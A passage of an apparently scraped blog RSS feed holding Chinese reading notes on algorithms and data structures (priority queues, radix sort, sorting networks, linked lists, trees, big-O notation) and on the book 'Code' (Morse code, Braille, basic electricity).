&lt;li&gt;二项树等于 2 次幂堆：
&lt;ul&gt;
&lt;li&gt;节点数为 2 的幂次&lt;/li&gt;
&lt;li&gt;根节点大于所有节点&lt;/li&gt;
&lt;li&gt;堆有序：二项树&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;连接（join）：常量
&lt;ul&gt;
&lt;li&gt;最大根节点：根节点&lt;/li&gt;
&lt;li&gt;另一个根节点：左子节点&lt;/li&gt;
&lt;li&gt;最大左子树：另一棵右子树&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;优先队列操作最坏情况&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;插入&lt;/th&gt;
&lt;th&gt;删除最大（小）&lt;/th&gt;
&lt;th&gt;删除&lt;/th&gt;
&lt;th&gt;找最大&lt;/th&gt;
&lt;th&gt;修改优先级&lt;/th&gt;
&lt;th&gt;连接&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;有序数组&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;有序表&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;无序数组&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;无序表&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;堆&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;二项队列&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;理论最佳&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;lgN&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;第十章 基数排序&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;每次只对关键字的一块进行处理&lt;/li&gt;
&lt;li&gt;把关键字看作以 R 为基数的数字，对不同的 R 值（基）处理独立位&lt;/li&gt;
&lt;li&gt;整数：表示为二进制数，R=2 或 R=2的幂：访问每组中的位代价较低&lt;/li&gt;
&lt;li&gt;字符串类型：R=128 或 R=256，按照字节大小把基对齐&lt;/li&gt;
&lt;li&gt;提取操作：从一个关键字中提取出第 i 个数字&lt;/li&gt;
&lt;li&gt;最高位优先（MSD）：从左往右检查，先处理最高位，需要检查的信息最少
&lt;ul&gt;
&lt;li&gt;与快排类似，根据关键字开始的几位划分，递归处理子文件&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;最低位优先（LSD）：从右往左检查，先处理最低位，先处理最不重要的数字&lt;/li&gt;
&lt;li&gt;关键点：关键字索引统计：只要有足够空间存放 2^w 大小的表，就可以线性时间对 w 位关键字进行排序&lt;/li&gt;
&lt;li&gt;二进制快速排序：
&lt;ul&gt;
&lt;li&gt;2^b 用作划分元素（可能不在文件中）&lt;/li&gt;
&lt;li&gt;递归调用对少于 1 位的关键字调用的：次数由位数决定&lt;/li&gt;
&lt;li&gt;开始指针取决于硬件中每个字的位数、整数和负数表示方法&lt;/li&gt;
&lt;li&gt;退化时划分频繁：所有位的值都相等&lt;/li&gt;
&lt;li&gt;递归分界线：由待排数据范围和数字的二进制表示法决定&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;MSD：
&lt;ul&gt;
&lt;li&gt;将数组分成 R 部分&lt;/li&gt;
&lt;li&gt;文件已基本有序：效率很高&lt;/li&gt;
&lt;li&gt;优化：
&lt;ul&gt;
&lt;li&gt;调整 R 的值，减少小文件：限制空桶数量：合适的基数 + 合适的划分小文件的值&lt;/li&gt;
&lt;li&gt;递归参数转换消除数组复制的开销&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;链表实现&lt;/li&gt;
&lt;li&gt;处理缺乏随机性的数据：
&lt;ul&gt;
&lt;li&gt;将所有字符串排序情况信息都考虑进去&lt;/li&gt;
&lt;li&gt;桶跨度启发式法&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;三路基数快速排序：
&lt;ul&gt;
&lt;li&gt;对关键字控制字节进行三路划分，只在中间子文件移动到下一字节（关键字的控制字节与划分元素的控制字节相同）&lt;/li&gt;
&lt;li&gt;划分操作适合关键字不同部分含有非随机的不同类型的关键字，且无需额外数组&lt;/li&gt;
&lt;li&gt;适合：
&lt;ul&gt;
&lt;li&gt;重复关键字&lt;/li&gt;
&lt;li&gt;关键字位于小的范围&lt;/li&gt;
&lt;li&gt;小文件和 MSD 可能慢的情况&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;不同基数对应的排序方法：
&lt;ul&gt;
&lt;li&gt;中间大小的基数：高效处理重复关键字&lt;/li&gt;
&lt;li&gt;非常大的基数（大于字的大小）：普通快排&lt;/li&gt;
&lt;li&gt;基数 2：二进制快排&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;适合向量：多关键字快速排序&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;大型文件：标准 MSD：多路划分&lt;/li&gt;
&lt;li&gt;小型文件：三路基数快排：避免大量空桶&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;LSD：
&lt;ul&gt;
&lt;li&gt;关键字索引统计：稳定，高效&lt;/li&gt;
&lt;li&gt;基于固定长度关键字，控制关键字只在最后一遍涉及&lt;/li&gt;
&lt;li&gt;控制结构简单，基本操作适合机器语言实现，可直接改编到有特殊用途的高性能硬件中&lt;/li&gt;
&lt;li&gt;对 w- 字节的 N 个记录：与 Nw 成正比&lt;/li&gt;
&lt;li&gt;长关键字短字节：与 NlgN 成正比，需详细说明关键字中的字节数而不是关键字的数目&lt;/li&gt;
&lt;li&gt;短关键字长字节：线性&lt;/li&gt;
&lt;li&gt;最坏情况：关键字都相等，需要检查所有字节：线性&lt;/li&gt;
&lt;li&gt;随机数据：亚线性，
&lt;ul&gt;
&lt;li&gt;使 lgR（每字节位数）为字大小的 1/4：
&lt;ul&gt;
&lt;li&gt;从字中提取字节而不是位&lt;/li&gt;
&lt;li&gt;中途使用插入排序：2 遍&lt;/li&gt;
&lt;li&gt;4 遍关键字索引统计&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第十一章 特殊用途的排序方法&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;应用：
&lt;ul&gt;
&lt;li&gt;高性能增强的系统&lt;/li&gt;
&lt;li&gt;专门为排序设计的具有特殊用途的硬件&lt;/li&gt;
&lt;li&gt;基于某种新型结构设计的系统&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;低层模型：只允许比较-交换操作&lt;/li&gt;
&lt;li&gt;高层模型：在较慢的外部介质或独立的并行处理器上读写大块数据&lt;/li&gt;
&lt;li&gt;Batcher 奇偶归并排序：归并排序的一种版本，基于分治归并算法，只使用比较-交换操作
&lt;ul&gt;
&lt;li&gt;数据移动：
&lt;ul&gt;
&lt;li&gt;完美混洗（Perfect shuffle）
&lt;ul&gt;
&lt;li&gt;2^n-2^n 方阵以行为主序：n 次完美混洗：转置（以列为主序）&lt;/li&gt;
&lt;li&gt;先分成两半，先去第一半第一个元素，再取另一半第一个元素等等&lt;/li&gt;
&lt;li&gt;从 0 开始编号，前一半元素编到偶数编号，后一半元素编到奇数编号&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;完美逆混洗（Perfect unshuffle）
&lt;ul&gt;
&lt;li&gt;偶数到前半，奇数到后半&lt;/li&gt;
&lt;li&gt;用交换、混洗或类似操作来重排数据&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;自顶向下归并：归并过程用 Batcher，属于非适应性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;作为排序网的 Batcher 方法：
&lt;ul&gt;
&lt;li&gt;比较器（比较-交换模块）：能够执行比较-交换操作的模块&lt;/li&gt;
&lt;li&gt;排序网：只能比较-交换，是一种并行计算模型&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;外部排序：
&lt;ul&gt;
&lt;li&gt;从外部存储器读入，把内存写入外部存储器&lt;/li&gt;
&lt;li&gt;待排文件过大所以不能放入内存：大块形式，串行化随机高效，随机访问达到外部设备峰值性能&lt;/li&gt;
&lt;li&gt;访问记录开销巨大：排序-归并：对文件扫描，分成等于内存的数据块，对块进行排序。若干遍扫描后创建大的文件块（可选），用于将有序块归并
&lt;ul&gt;
&lt;li&gt;P（归并的阶数）：顺序访问：P 为可用设备的一半&lt;/li&gt;
&lt;li&gt;平衡多路归并：
&lt;ul&gt;
&lt;li&gt;步骤：初始分布遍；几次多路归并遍&lt;/li&gt;
&lt;li&gt;降低开销：替换选择（增加内存）；多阶段归并（增加设备）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;虚拟内存：访问地址分散，不适合堆、基数排序&lt;/li&gt;
&lt;li&gt;运行时间 = 读写整个文件时间 * 所使用遍数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;并行排序：
&lt;ul&gt;
&lt;li&gt;待排文件分布在多个独立的并行处理器&lt;/li&gt;
&lt;li&gt;增加处理器，则开销（通信）增加：这时应使用 Batcher 网络&lt;/li&gt;
&lt;li&gt;处理器间的通信约束：大块数据顺序处理&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>Note</category></item><item><title>【读书笔记】数据结构与算法分析 - C 语言描述 - 第二部分 - 数据结构</title><link>https://www.sulinehk.com/post/note-for-data-structure-and-algorithm-analysis-in-c-part2/</link><guid isPermaLink="true">https://www.sulinehk.com/post/note-for-data-structure-and-algorithm-analysis-in-c-part2/</guid><pubDate>Mon, 02 May 2022 07:24:02 GMT</pubDate><content:encoded>&lt;h2&gt;第三章 基本数据结构&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;客户-接口-实现&lt;/li&gt;
&lt;li&gt;数组：
&lt;ul&gt;
&lt;li&gt;固定有序&lt;/li&gt;
&lt;li&gt;存储空间相邻：适合访问而不是操纵&lt;/li&gt;
&lt;li&gt;两种常见错误：
&lt;ul&gt;
&lt;li&gt;引用了无意义的 a[i] 内容&lt;/li&gt;
&lt;li&gt;没有保证 i 非负且小于数组大小&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;查找（索引）：在链表中需要遍历，效率不高&lt;/li&gt;
&lt;li&gt;与向量（矢量）对应&lt;/li&gt;
&lt;li&gt;二维数组：矩阵 + 主序&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;链表：
&lt;ul&gt;
&lt;li&gt;逻辑有序&lt;/li&gt;
&lt;li&gt;高效重排数据项：适合操纵而不是访问&lt;/li&gt;
&lt;li&gt;可优雅地增大和缩小&lt;/li&gt;
&lt;li&gt;自引用结构 + 循环结构&lt;/li&gt;
&lt;li&gt;末尾节点的实现细节：
&lt;ul&gt;
&lt;li&gt;不指向任何节点的空链接&lt;/li&gt;
&lt;li&gt;指向不包含元素节点的哑元节点&lt;/li&gt;
&lt;li&gt;循环链表：指向第一个节点（首节点）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;在开头保留头节点：
&lt;ul&gt;
&lt;li&gt;无数据域&lt;/li&gt;
&lt;li&gt;链域指向真正的第一个节点&lt;/li&gt;
&lt;li&gt;好处：把链表指针作为参数，使函数可修改链表，可接受或返回一个空表&lt;/li&gt;
&lt;li&gt;不保留头节点时：把指向输入链表的指针作为参数，返回输出链表的指针。这种方法适合递归链表&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;插入：在数组中需要移动元素，效率不高&lt;/li&gt;
&lt;li&gt;删除：遍历&lt;/li&gt;
&lt;li&gt;两种常见错误：
&lt;ul&gt;
&lt;li&gt;引用了未定义的指针&lt;/li&gt;
&lt;li&gt;使用了无意中修改了的指针&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;双向链表：
&lt;ul&gt;
&lt;li&gt;主要意义：只有一个节点的信息，仍然可以删除该节点&lt;/li&gt;
&lt;li&gt;适用情况：
&lt;ul&gt;
&lt;li&gt;节点作为参数传递&lt;/li&gt;
&lt;li&gt;节点中有其它链接，且是其它数据结构的一部分&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;空闲链表&lt;/li&gt;
&lt;li&gt;多重链表&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;字符串：
&lt;ul&gt;
&lt;li&gt;字典顺序&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;图的表示：
&lt;ul&gt;
&lt;li&gt;邻接矩阵（数组）：
&lt;ul&gt;
&lt;li&gt;适合稠密图（边数多）&lt;/li&gt;
&lt;li&gt;无向图时矩阵对称&lt;/li&gt;
&lt;li&gt;检查两个顶点间是否有边相连：常量&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;邻接表（链表）：
&lt;ul&gt;
&lt;li&gt;适合稀疏图（边数少）&lt;/li&gt;
&lt;li&gt;处理所有边：正比于 V+E，而不是邻接矩阵的 V^2&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第四章 抽象数据结构&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;广义队列（generalized queue）：
&lt;ul&gt;
&lt;li&gt;操作：插入、删除&lt;/li&gt;
&lt;li&gt;随机队列：随机（等概率）得到一个项、随机删除一个项&lt;/li&gt;
&lt;li&gt;双端队列：在任何一端进行插入、删除&lt;/li&gt;
&lt;li&gt;优先队列：删除最小（最大）键&lt;/li&gt;
&lt;li&gt;符号表：删除与给定键相等的项&lt;/li&gt;
&lt;li&gt;下推栈（Push-down stack）：
&lt;ul&gt;
&lt;li&gt;操作：pop、push&lt;/li&gt;
&lt;li&gt;函数调用机制&lt;/li&gt;
&lt;li&gt;后进先出（LIFO）&lt;/li&gt;
&lt;li&gt;实现：
&lt;ul&gt;
&lt;li&gt;数组：
&lt;ul&gt;
&lt;li&gt;固定空间：最大项的个数&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;链表：
&lt;ul&gt;
&lt;li&gt;灵活空间：所用空间与项的个数成正比&lt;/li&gt;
&lt;li&gt;栈的大小变化很大时使用&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;先进先出队列（FIFO）：
&lt;ul&gt;
&lt;li&gt;实现：
&lt;ul&gt;
&lt;li&gt;数组：在头、尾分别维持两个索引&lt;/li&gt;
&lt;li&gt;链表：在头、尾分别维持两个指针&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第五章 递归与树&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;递归：
&lt;ul&gt;
&lt;li&gt;归纳基础&lt;/li&gt;
&lt;li&gt;归纳假设&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;非递归程序 = 递归程序 + 栈&lt;/li&gt;
&lt;li&gt;分治法：基本递归模式&lt;/li&gt;
&lt;li&gt;动态规划：实现递归程序的一般性方法&lt;/li&gt;
&lt;li&gt;循环：表现为递归&lt;/li&gt;
&lt;li&gt;递归的深度：取决于输入&lt;/li&gt;
&lt;li&gt;消除尾递归&lt;/li&gt;
&lt;li&gt;分治法：每个递归调用处理一半
&lt;ul&gt;
&lt;li&gt;步骤：
&lt;ol&gt;
&lt;li&gt;分片，合并&lt;/li&gt;
&lt;li&gt;在处理一半之后跟进&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;与数字的二进制表示紧密相关&lt;/li&gt;
&lt;li&gt;组合-分治法：自底向上&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;背包问题：最优决策&lt;/li&gt;
&lt;li&gt;动态规划：消除递归中的重复计算（存储函数值）
&lt;ul&gt;
&lt;li&gt;自底向上：预先计算值&lt;/li&gt;
&lt;li&gt;自顶向上：存储已知的值，在之后的计算中优先选择&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;树、顶点、边、路径：
&lt;ul&gt;
&lt;li&gt;森林：不相交的多个树&lt;/li&gt;
&lt;li&gt;树的定义：根到叶节点都是唯一路径&lt;/li&gt;
&lt;li&gt;图的定义：不是唯一路径&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;父节点、子节点、叶节点&lt;/li&gt;
&lt;li&gt;树的种类：
&lt;ul&gt;
&lt;li&gt;无序树（自由树）：树中任意节点的子节点之间没有顺序关系，边的集合&lt;/li&gt;
&lt;li&gt;有序树：树中任意节点的子节点之间有顺序关系
&lt;ul&gt;
&lt;li&gt;二叉树：
&lt;ul&gt;
&lt;li&gt;联赛&lt;/li&gt;
&lt;li&gt;形状平衡时性能好&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;树的遍历：
&lt;ul&gt;
&lt;li&gt;前序：先根后左右。对应栈&lt;/li&gt;
&lt;li&gt;中序：先左中根后右&lt;/li&gt;
&lt;li&gt;后序：先左右后根&lt;/li&gt;
&lt;li&gt;层序：从上到下，从左到右。对应队列&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;图的遍历（由树的遍历推广得到）：
&lt;ul&gt;
&lt;li&gt;深度优先搜索（DFS）：对应栈&lt;/li&gt;
&lt;li&gt;广度优先搜索（BFS）：对应队列，对应层序遍历&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>Note</category></item><item><title>【读书笔记】数据结构与算法分析 - C 语言描述 - 第一部分 - 基础知识</title><link>https://www.sulinehk.com/post/note-for-data-structure-and-algorithm-analysis-in-c-part1/</link><guid isPermaLink="true">https://www.sulinehk.com/post/note-for-data-structure-and-algorithm-analysis-in-c-part1/</guid><pubDate>Mon, 02 May 2022 07:24:01 GMT</pubDate><content:encoded>&lt;h2&gt;第一章 引言&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;连通性问题：
&lt;ul&gt;
&lt;li&gt;两个操作：查找（find）、并集（union）&lt;/li&gt;
&lt;li&gt;快速-查找（quick-find）：N 个对象，M 次合并：MN&lt;/li&gt;
&lt;li&gt;快速-合并（quick-union）：N 个对象，M 对：MN/2&lt;/li&gt;
&lt;li&gt;加权快速-合并（weighted quick-union）：遍历 2lgN 个指针：线性&lt;/li&gt;
&lt;li&gt;带等分路径压缩的加权快速-合并：保证线性&lt;/li&gt;
&lt;li&gt;在线算法（online）：能处理的数据没有限制&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第二章 算法分析的原理&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;算法分析的种类：
&lt;ul&gt;
&lt;li&gt;最坏情况（Worst Case）：任意输入规模的最大运行时间（Usually）
&lt;ul&gt;
&lt;li&gt;在任何输入下运行时间的一个上界&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;平均情况（Average Case）：任意输入规模的期待运行时间（Sometimes）&lt;/li&gt;
&lt;li&gt;最佳情况（Best Case）：通常最佳情况不会出现（Bogus）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;基本思路：
&lt;ul&gt;
&lt;li&gt;忽略掉那些依赖于机器的常量&lt;/li&gt;
&lt;li&gt;关注运行时间的增长趋势&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;渐近记号：
&lt;ul&gt;
&lt;li&gt;尽管技术上 theta 符号较为准确，但通常仍然使用大 O 符号表示&lt;/li&gt;
&lt;li&gt;大 O 符号：只有渐近上界
&lt;ul&gt;
&lt;li&gt;表示最坏运行情况的上界&lt;/li&gt;
&lt;li&gt;T(n) = O(n^3) 等同于 T(n) ∈ O(n^3)：T(n) 的渐近增长不快于 n^3&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;theta（西塔）符号：渐近地给出了一个函数的上界和下界
&lt;ul&gt;
&lt;li&gt;T(n) = Θ(n^3) 等同于 T(n) ∈ Θ(n^3)：T(n) 的渐近增长与 n^3 一样快&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;omega（欧米伽）符号：只有渐近下界&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;采用记号 lgN = log_2N：改变一个对数的底只是把对数的值改变了一个常数倍，所以当不在意这些常数因子时可使用这个简便的记法&lt;/li&gt;
&lt;li&gt;常见复杂度：
&lt;ul&gt;
&lt;li&gt;常量：O(1)&lt;/li&gt;
&lt;li&gt;对数：O(lgN)&lt;/li&gt;
&lt;li&gt;线性：O(N)&lt;/li&gt;
&lt;li&gt;线性对数：O(NlgN)&lt;/li&gt;
&lt;li&gt;平方：O(N^2)&lt;/li&gt;
&lt;li&gt;立方：O(N^3)&lt;/li&gt;
&lt;li&gt;指数：O(2^N) O(k^N)
&lt;ul&gt;
&lt;li&gt;阶乘：O(N!)：旅行商问题&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;floor(x)：向下取整 x。设 x = 4.5，floor(x) = 4&lt;/li&gt;
&lt;li&gt;ceil(x)：向上取整 x。设 x = 4.5，ceil(x) = 5&lt;/li&gt;
&lt;li&gt;调和级数：H_N = 1 + 1/2 + 1/3 + ... + 1/N&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>Note</category></item><item><title>【读书笔记】编码 - 隐匿在计算机软硬件背后的语言</title><link>https://www.sulinehk.com/post/note-for-code-the-hidden-language-of-computer-hardware-and-software/</link><guid isPermaLink="true">https://www.sulinehk.com/post/note-for-code-the-hidden-language-of-computer-hardware-and-software/</guid><pubDate>Mon, 02 May 2022 07:23:08 GMT</pubDate><content:encoded>&lt;h2&gt;第一章 至亲密友&lt;/h2&gt;
&lt;p&gt;莫尔斯电码（Morse Code）：有两种闪烁，短闪和长闪。或者点（dot）和划（dash）。&lt;/p&gt;
&lt;p&gt;莫尔斯电码表：&lt;/p&gt;
&lt;p&gt;编码：一种用来在机器和人之间传递信息的方式。&lt;/p&gt;
&lt;p&gt;口头话语（the spoken word）或言辞（speech）：&lt;/p&gt;
&lt;p&gt;书面语言（the written word）或文本（text）：&lt;/p&gt;
&lt;p&gt;布莱叶盲文：&lt;/p&gt;
&lt;p&gt;可以约定，一个 dash 的时长是 dot 的 3 倍。&lt;/p&gt;
&lt;p&gt;一个字母中的 dot 和 dash 应间隔一个 dot 的时间。&lt;/p&gt;
&lt;p&gt;一个单词中的字母应用一个 dash 的时间分隔。&lt;/p&gt;
&lt;p&gt;一个句子中的单词应用两个 dash 的时间分隔。&lt;/p&gt;
&lt;p&gt;简单且短促的编码被分配给字母表中使用频率较高的字母，而不太常用的字母则被分配以较长的编码。&lt;/p&gt;
&lt;p&gt;SOS：国际求救信号，三个点，三个划，三个点。&lt;/p&gt;
&lt;p&gt;缺点：没有区分大写字母和小写字母，但可以通过增加序列来表示。&lt;/p&gt;
&lt;p&gt;可以把 dot 读为嘀（dib），把 dash 读为嗒（dab）。&lt;/p&gt;
&lt;h2&gt;第二章 编码与组合&lt;/h2&gt;
&lt;p&gt;数字的自乘：幂。例如：&lt;code&gt;2*2*2*2&lt;/code&gt; 可以记作 &lt;code&gt;2^4&lt;/code&gt;，读作 2 的 4 次幂。&lt;/p&gt;
&lt;p&gt;码字的数量 = 2^点和划的数量&lt;/p&gt;
&lt;p&gt;莫尔斯码树型图：&lt;/p&gt;
&lt;p&gt;作用：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;确保不会对不同字母定义相同码字。&lt;/li&gt;
&lt;li&gt;可以用尽可能短的码字来表示所有字母，避免产生编码长度上的浪费。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;码字的数目 = 2^编码的位数&lt;/p&gt;
&lt;p&gt;莫尔斯码也被称作二进制码：&lt;/p&gt;
&lt;p&gt;组合学或组合分析：数学上的一个分支，常应用到概率和统计学中。&lt;/p&gt;
&lt;h2&gt;第三章 布莱叶盲文与二进制码&lt;/h2&gt;
&lt;p&gt;在布莱叶盲文中，每个符号被编码成 &lt;code&gt;2*3&lt;/code&gt; 的点码单元中的一个或多个凸起的点。&lt;/p&gt;
&lt;p&gt;点码单元用 1-6 的数字来编号。&lt;/p&gt;
&lt;p&gt;大点表示凸起点，小点表示平点。&lt;/p&gt;
&lt;p&gt;一个单词中每个字母所对应的点码单元之间用一小块空白分开，而单词间则用一大块空白（一块没有凸点的点码单元）分开。&lt;/p&gt;
&lt;p&gt;优先码（precedence codes）或换挡码（shift codes）：改变作用域编码的含义，直到作用域结束。&lt;/p&gt;
&lt;p&gt;逃逸码（escape codes）：逃离对编码串单调的、一成不变的解析，转到一种新的解析方式中。&lt;/p&gt;
&lt;h2&gt;第四章 手电筒的剖析&lt;/h2&gt;
&lt;p&gt;开关：两个断开的线头。&lt;/p&gt;
&lt;p&gt;一个电路就是一个环路，只有整个回路是连通的，灯泡才能被点亮。开关控制断开的过程。&lt;/p&gt;
&lt;p&gt;电子理论：电流是由电子的运动而产生的。&lt;/p&gt;
&lt;p&gt;原子（atom）由中子（neutron）、质子（proton）和电子（electron）组成。&lt;/p&gt;
&lt;p&gt;中子和质子被束缚在原子核内，而电子围绕着原子核旋转。&lt;/p&gt;
&lt;p&gt;元素都有一个 1 到 112 之间的特定原子序数（atomic number），它表明了这种元素一个原子的原子核中所含的质子数，通常也是其所含的电子数。&lt;/p&gt;
&lt;p&gt;原子通过化学的方式结合成分子（molecules）。&lt;/p&gt;
&lt;p&gt;化合物（compound）：水和盐。而盐水是混合物（mixture），因为水和盐都各自保留着自己的性质。&lt;/p&gt;
&lt;p&gt;电子一般与质子数目相同。&lt;/p&gt;
&lt;p&gt;电流产生的原因：电子从原子中脱离。&lt;/p&gt;
&lt;p&gt;电荷（charge）：质子有一个正电荷，电子有一个负电荷，而中子是中性的，不带电荷。&lt;/p&gt;
&lt;p&gt;异性电荷相吸引，同性电荷相斥。&lt;/p&gt;
&lt;p&gt;原子核中的质子被强力（strong force）束缚到一起。&lt;/p&gt;
&lt;p&gt;电池的化学反应使多余的自由电子聚集到负号的那端（负极或阴极），而正号那端（正极或阳极）则变得急需额外的电子。&lt;/p&gt;
&lt;p&gt;电子从负极流向正极。&lt;/p&gt;
&lt;p&gt;并联后的电压与每个电池一致。&lt;/p&gt;
&lt;p&gt;元素的导电能力与它原子内的结构有关。&lt;/p&gt;
&lt;p&gt;电子层：电子围绕原子核运行的轨道分为不同等级。&lt;/p&gt;
&lt;p&gt;导体（conductor）：原子在最外电子层中只含有 1 个电子，该电子很容易逃逸。如：铜、银和金。&lt;/p&gt;
